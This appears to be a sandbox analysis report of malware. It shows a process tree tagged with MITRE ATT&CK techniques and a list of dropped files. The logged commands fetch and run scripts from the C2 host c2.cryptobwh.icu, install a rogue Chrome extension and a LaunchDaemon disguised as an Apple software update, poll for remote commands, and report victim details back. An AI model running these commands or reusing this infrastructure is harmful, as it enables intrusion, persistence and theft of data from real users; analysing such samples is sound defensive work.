/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 5 https://c2.cryptobwh.icu/api/builds/ps_Q4huLTcs.ps1/screencast/status3⤵
-
-
/bin/grepgrep -q "\"reinstall\""3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/datedate "+%s"3⤵
-
-
/bin/catcat /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/browserface.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/sleepsleep 53⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/heartbeat3⤵
-
-
/bin/rmrm -f /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 5 https://c2.cryptobwh.icu/api/builds/ps_Q4huLTcs.ps1/screencast/status3⤵
-
-
/bin/grepgrep -q "\"reinstall\""3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/datedate "+%s"3⤵
-
-
/bin/catcat /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/browserface.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/sleepsleep 53⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/heartbeat3⤵
-
-
/bin/rmrm -f /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 5 https://c2.cryptobwh.icu/api/builds/ps_Q4huLTcs.ps1/screencast/status3⤵
-
-
/bin/grepgrep -q "\"reinstall\""3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/datedate "+%s"3⤵
-
-
/bin/catcat /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/browserface.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/sleepsleep 53⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/heartbeat3⤵
-
-
/bin/rmrm -f /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 5 https://c2.cryptobwh.icu/api/builds/ps_Q4huLTcs.ps1/screencast/status3⤵
-
-
/bin/grepgrep -q "\"reinstall\""3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/datedate "+%s"3⤵
-
-
/bin/catcat /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/browserface.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/sleepsleep 53⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/heartbeat3⤵
-
-
/bin/rmrm -f /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 5 https://c2.cryptobwh.icu/api/builds/ps_Q4huLTcs.ps1/screencast/status3⤵
-
-
/bin/grepgrep -q "\"reinstall\""3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/datedate "+%s"3⤵
-
-
/bin/catcat /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/browserface.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/sleepsleep 53⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/heartbeat3⤵
-
-
/bin/rmrm -f /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/curlcurl -s --max-time 5 https://c2.cryptobwh.icu/api/builds/ps_Q4huLTcs.ps1/screencast/status3⤵
-
-
/bin/grepgrep -q "\"reinstall\""3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/datedate "+%s"3⤵
-
-
/bin/catcat /Library/.c2/restart_counter3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/bin/catcat /Library/.c2/wk.pid3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/datedate "+%Y-%m-%d %H:%M:%S"3⤵
-
-
/usr/bin/base64base64 -d3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/browserface.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/catcat /Library/.c2/bf_mux.pid3⤵
-
-
/bin/sleepsleep 53⤵
-
-
-
/bin/datedate "+%s"2⤵
-
-
/bin/mkdirmkdir -p /Library/.c2/oao_ext /Library/.c22⤵
-
-
/usr/bin/curlcurl -sSfL --max-time 15 https://c2.cryptobwh.icu/static/oao_extension/chrome_ext_forge.sh -o /Library/.c2/chrome_ext_forge.sh2⤵
-
-
/bin/chmodchmod +x /Library/.c2/chrome_ext_forge.sh2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/curlcurl -sSfL --max-time 10 https://c2.cryptobwh.icu/static/oao_extension/manifest.json -o /Library/.c2/oao_ext/manifest.json2⤵
-
-
/usr/bin/curlcurl -sSfL --max-time 10 https://c2.cryptobwh.icu/static/oao_extension/content.js -o /Library/.c2/oao_ext/content.js2⤵
-
-
/usr/bin/curlcurl -sSfL --max-time 10 https://c2.cryptobwh.icu/static/oao_extension/inject.js -o /Library/.c2/oao_ext/inject.js2⤵
-
-
/usr/bin/curlcurl -sSfL --max-time 10 https://c2.cryptobwh.icu/static/oao_extension/service_worker.js -o /Library/.c2/oao_ext/service_worker.js2⤵
-
-
/usr/bin/curlcurl -sSfL --max-time 10 https://c2.cryptobwh.icu/static/oao_extension/icon16.png -o /Library/.c2/oao_ext/icon16.png2⤵
-
-
/usr/bin/curlcurl -sSfL --max-time 10 https://c2.cryptobwh.icu/static/oao_extension/icon32.png -o /Library/.c2/oao_ext/icon32.png2⤵
-
-
/usr/bin/curlcurl -sSfL --max-time 10 https://c2.cryptobwh.icu/static/oao_extension/icon48.png -o /Library/.c2/oao_ext/icon48.png2⤵
-
-
/usr/bin/curlcurl -sSfL --max-time 10 https://c2.cryptobwh.icu/static/oao_extension/icon128.png -o /Library/.c2/oao_ext/icon128.png2⤵
-
-
/usr/bin/curlcurl -sSfL --max-time 10 https://c2.cryptobwh.icu/static/oao_extension/popup.html -o /Library/.c2/oao_ext/popup.html2⤵
-
-
/usr/bin/curlcurl -sSfL --max-time 10 https://c2.cryptobwh.icu/static/oao_extension/popup.js -o /Library/.c2/oao_ext/popup.js2⤵
-
-
/bin/bashbash /Library/.c2/chrome_ext_forge.sh2⤵
-
/usr/bin/base64base64 --decode3⤵
-
-
-
/bin/datedate "+%s"2⤵
-
-
/usr/bin/curlcurl -sSfL --max-time 15 https://c2.cryptobwh.icu/static/oao_extension/chrome_watchdog.sh -o /Library/.c2/chrome_watchdog.sh2⤵
-
-
/bin/chmodchmod +x /Library/.c2/chrome_watchdog.sh2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/curlcurl -sSfL --max-time 15 https://c2.cryptobwh.icu/static/oao_extension/local.chrome-watchdog.plist -o /Library/.c2/watchdog.plist2⤵
-
-
/bin/sedsed -i "s|__USER_HOME__||g" /Library/.c2/watchdog.plist2⤵
-
-
/usr/bin/idid -u2⤵
-
-
/bin/cpcp /Library/.c2/watchdog.plist /Library/LaunchAgents/local.chrome-watchdog.plist2⤵
-
-
/usr/bin/idid -u2⤵
-
-
/bin/rmrm -f /Library/.c2/watchdog.plist2⤵
-
-
/bin/datedate "+%s"2⤵
-
-
/bin/catcat2⤵
-
-
/usr/bin/sudosudo -S cp /tmp/com.apple.softwareupdate.plist /Library/LaunchDaemons/com.apple.softwareupdate.plist2⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
/bin/cpcp /tmp/com.apple.softwareupdate.plist /Library/LaunchDaemons/com.apple.softwareupdate.plist3⤵
-
-
-
/usr/bin/sudosudo -S chmod 644 /Library/LaunchDaemons/com.apple.softwareupdate.plist2⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
/bin/chmodchmod 644 /Library/LaunchDaemons/com.apple.softwareupdate.plist3⤵
-
-
-
/usr/bin/sudosudo -S launchctl load /Library/LaunchDaemons/com.apple.softwareupdate.plist2⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
-
/bin/datedate "+%s"2⤵
-
-
/usr/bin/pgreppgrep -f "cmd_agent.*ps_Q4huLTcs.ps1"2⤵
- Reads CPU attributes
-
-
/bin/catcat2⤵
-
-
/bin/chmodchmod +x /tmp/.cmd_agent_ps_Q4huLTcs.ps1.sh2⤵
- File and Directory Permissions Modification
-
-
/bin/datedate "+%s"2⤵
-
-
/usr/bin/curlcurl -sSfL --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/modules2⤵
-
-
/usr/bin/curlcurl -sSfL --max-time 15 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/modules/clipboard.sh -o /tmp/.oao_mod_ps_Q4huLTcs.ps1_clipboard.sh2⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -sSfL --max-time 15 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/modules/cdp_inject.sh -o /tmp/.oao_mod_ps_Q4huLTcs.ps1_cdp_inject.sh2⤵
-
-
/usr/bin/curlcurl -sSfL --max-time 15 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/modules/screencast.sh -o /tmp/.oao_mod_ps_Q4huLTcs.ps1_screencast.sh2⤵
-
-
/usr/bin/pgreppgrep -f clipmon_ps_Q4huLTcs.ps12⤵
- Reads CPU attributes
- Reads runtime system information
- System Network Configuration Discovery
-
-
/bin/catcat2⤵
-
-
/usr/bin/whichwhich swiftc2⤵
-
-
/bin/rmrm -f /tmp/.clipmon_ps_Q4huLTcs.ps1.swift2⤵
- System Network Configuration Discovery
-
-
/bin/datedate "+%s"2⤵
-
-
/usr/bin/lsoflsof -i :92222⤵
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
-
-
/bin/datedate "+%s"2⤵
-
-
/bin/rmrm -f /Library/Caches/.oao_timing_ps_Q4huLTcs.ps1.log2⤵
-
-
/bin/rmrm -rf /tmp/.oao_out_ps_Q4huLTcs.ps1.tar.gz2⤵
-
-
/usr/bin/curlcurl -sSfL https://c2.cryptobwh.icu/oao-shell-helper.sh -o /tmp/.oao_shell_helper_ps_Q4huLTcs.ps1.sh2⤵
-
-
/usr/bin/curlcurl -s -G https://c2.cryptobwh.icu/api/clickfix-callback --data-urlencode "bid=ps_Q4huLTcs.ps1" --data-urlencode "heartbeat=1" --data-urlencode "user=root" --data-urlencode "host=ubuntu1804-amd64-20260513-en-11"2⤵
-
-
/bin/sleepsleep 302⤵
-
-
/usr/bin/curlcurl -s -G https://c2.cryptobwh.icu/api/clickfix-callback --data-urlencode "bid=ps_Q4huLTcs.ps1" --data-urlencode "heartbeat=1" --data-urlencode "user=root" --data-urlencode "host=ubuntu1804-amd64-20260513-en-11"2⤵
-
-
/bin/sleepsleep 302⤵
-
-
/usr/bin/curlcurl -s -G https://c2.cryptobwh.icu/api/clickfix-callback --data-urlencode "bid=ps_Q4huLTcs.ps1" --data-urlencode "heartbeat=1" --data-urlencode "user=root" --data-urlencode "host=ubuntu1804-amd64-20260513-en-11"2⤵
-
-
/bin/sleepsleep 302⤵
-
-
/usr/bin/curlcurl -s -G https://c2.cryptobwh.icu/api/clickfix-callback --data-urlencode "bid=ps_Q4huLTcs.ps1" --data-urlencode "heartbeat=1" --data-urlencode "user=root" --data-urlencode "host=ubuntu1804-amd64-20260513-en-11"2⤵
-
-
/bin/sleepsleep 302⤵
-
-
/usr/bin/curlcurl -s -G https://c2.cryptobwh.icu/api/clickfix-callback --data-urlencode "bid=ps_Q4huLTcs.ps1" --data-urlencode "heartbeat=1" --data-urlencode "user=root" --data-urlencode "host=ubuntu1804-amd64-20260513-en-11"2⤵
-
-
/bin/sleepsleep 302⤵
-
-
/usr/bin/nohupnohup bash /tmp/.cmd_agent_ps_Q4huLTcs.ps1.sh1⤵
-
/usr/local/sbin/bashbash /tmp/.cmd_agent_ps_Q4huLTcs.ps1.sh1⤵
-
/usr/local/bin/bashbash /tmp/.cmd_agent_ps_Q4huLTcs.ps1.sh1⤵
-
/usr/sbin/bashbash /tmp/.cmd_agent_ps_Q4huLTcs.ps1.sh1⤵
-
/usr/bin/bashbash /tmp/.cmd_agent_ps_Q4huLTcs.ps1.sh1⤵
-
/sbin/bashbash /tmp/.cmd_agent_ps_Q4huLTcs.ps1.sh1⤵
-
/bin/bashbash /tmp/.cmd_agent_ps_Q4huLTcs.ps1.sh1⤵
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"2⤵
-
-
/bin/sleepsleep 152⤵
-
-
/bin/sleepsleep 52⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"2⤵
-
-
/bin/sleepsleep 52⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"2⤵
-
-
/bin/sleepsleep 52⤵
-
-
/bin/sleepsleep 152⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"2⤵
-
-
/bin/sleepsleep 52⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"2⤵
-
-
/bin/sleepsleep 52⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"2⤵
-
-
/bin/sleepsleep 52⤵
-
-
/bin/sleepsleep 152⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"2⤵
-
-
/bin/sleepsleep 52⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"2⤵
-
-
/bin/sleepsleep 52⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"2⤵
-
-
/bin/sleepsleep 52⤵
-
-
/bin/sleepsleep 152⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"2⤵
-
-
/bin/sleepsleep 52⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"2⤵
-
-
/bin/sleepsleep 52⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"2⤵
-
-
/bin/sleepsleep 52⤵
-
-
/bin/sleepsleep 152⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"2⤵
-
-
/bin/sleepsleep 52⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"2⤵
-
-
/bin/sleepsleep 52⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"2⤵
-
-
/bin/sleepsleep 52⤵
-
-
/bin/sleepsleep 152⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"2⤵
-
-
/bin/sleepsleep 52⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"2⤵
-
-
/bin/sleepsleep 52⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"2⤵
-
-
/bin/sleepsleep 152⤵
-
-
/bin/sleepsleep 52⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"2⤵
-
-
/bin/sleepsleep 52⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"2⤵
-
-
/bin/sleepsleep 52⤵
-
-
/bin/sleepsleep 152⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"2⤵
-
-
/bin/sleepsleep 52⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"2⤵
-
-
/bin/sleepsleep 52⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"2⤵
-
-
/bin/sleepsleep 52⤵
-
-
/bin/sleepsleep 152⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"2⤵
-
-
/bin/sleepsleep 52⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"2⤵
-
-
/bin/sleepsleep 52⤵
-
-
/usr/bin/curlcurl -s --max-time 10 https://c2.cryptobwh.icu/api/commands/ps_Q4huLTcs.ps1 -H "x-api-key: ps_Q4huLTcs.ps1"2⤵
-
-
/usr/bin/curlcurl -s -G https://c2.cryptobwh.icu/api/clickfix-callback --data-urlencode "bid=ps_Q4huLTcs.ps1" --data-urlencode "status=done" --data-urlencode "user=root" --data-urlencode "host=ubuntu1804-amd64-20260513-en-11" --data-urlencode "sudo=0"1⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
Abuse Elevation Control Mechanism
1Sudo and Sudo Caching
1Deobfuscate/Decode Files or Information
1File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Replay Monitor
Loading Replay Monitor...
Downloads
.bid
bf.tar.gz
bf_mux.pid
bf_startup_done
chrome_ext_forge.sh
chrome_watchdog.sh
index.html
main.js
style.css
bridge.d.ts
bridge.js.map
cdp-session.d.ts
cdp-session.js.map
cli.d.ts
discover.d.ts
index.d.ts
index.js.map
keymap.d.ts
find.d.ts
find.js
hover.d.ts
hover.js.map
selection.d.ts
selection.js
start.d.ts
start.js
protocol.d.ts
protocol.js.map
hb.log
hb.log
hb.log
hb.log
hb.log
heartbeat.sh
launchd_out.log
launchd_out.log
.package-lock.json
LICENSE
README.md
client.js
chrome-remote-interface.js
index.js
api.js
chrome.js
defaults.js
devtools.js
external-request.js
protocol.json
websocket-wrapper.js
LICENSE
README.md
browser.js
index.js
buffer-util.js
constants.js
event-target.js
extension.js
limiter.js
permessage-deflate.js
receiver.js
sender.js
stream.js
validation.js
websocket-server.js
websocket.js
package.json
package.json
webpack.config.js
History.md
LICENSE
Readme.md
index.js
package.json
LICENSE
README.md
index.js
buffer-util.js
constants.js
event-target.js
extension.js
permessage-deflate.js
receiver.js
sender.js
stream.js
subprotocol.js
validation.js
websocket-server.js
websocket.js
package.json
wrapper.mjs
content.js
icon128.png
icon16.png
icon32.png
icon48.png
inject.js
manifest.json
popup.html
service_worker.js
package.json
restart_counter
watchdog.plist
com.apple.heartbeat.plist
.clipmon_ps_Q4huLTcs.ps1.swift
.cmd_agent_ps_Q4huLTcs.ps1.sh
.oao_out_ps_Q4huLTcs.ps1.tar.gz
host.txt
meta.json
sysinfo.txt
hostname.txt
hosts.txt
processes.txt
resolv.conf
com.apple.softwareupdate.plist
sh-thd.Vg6JwL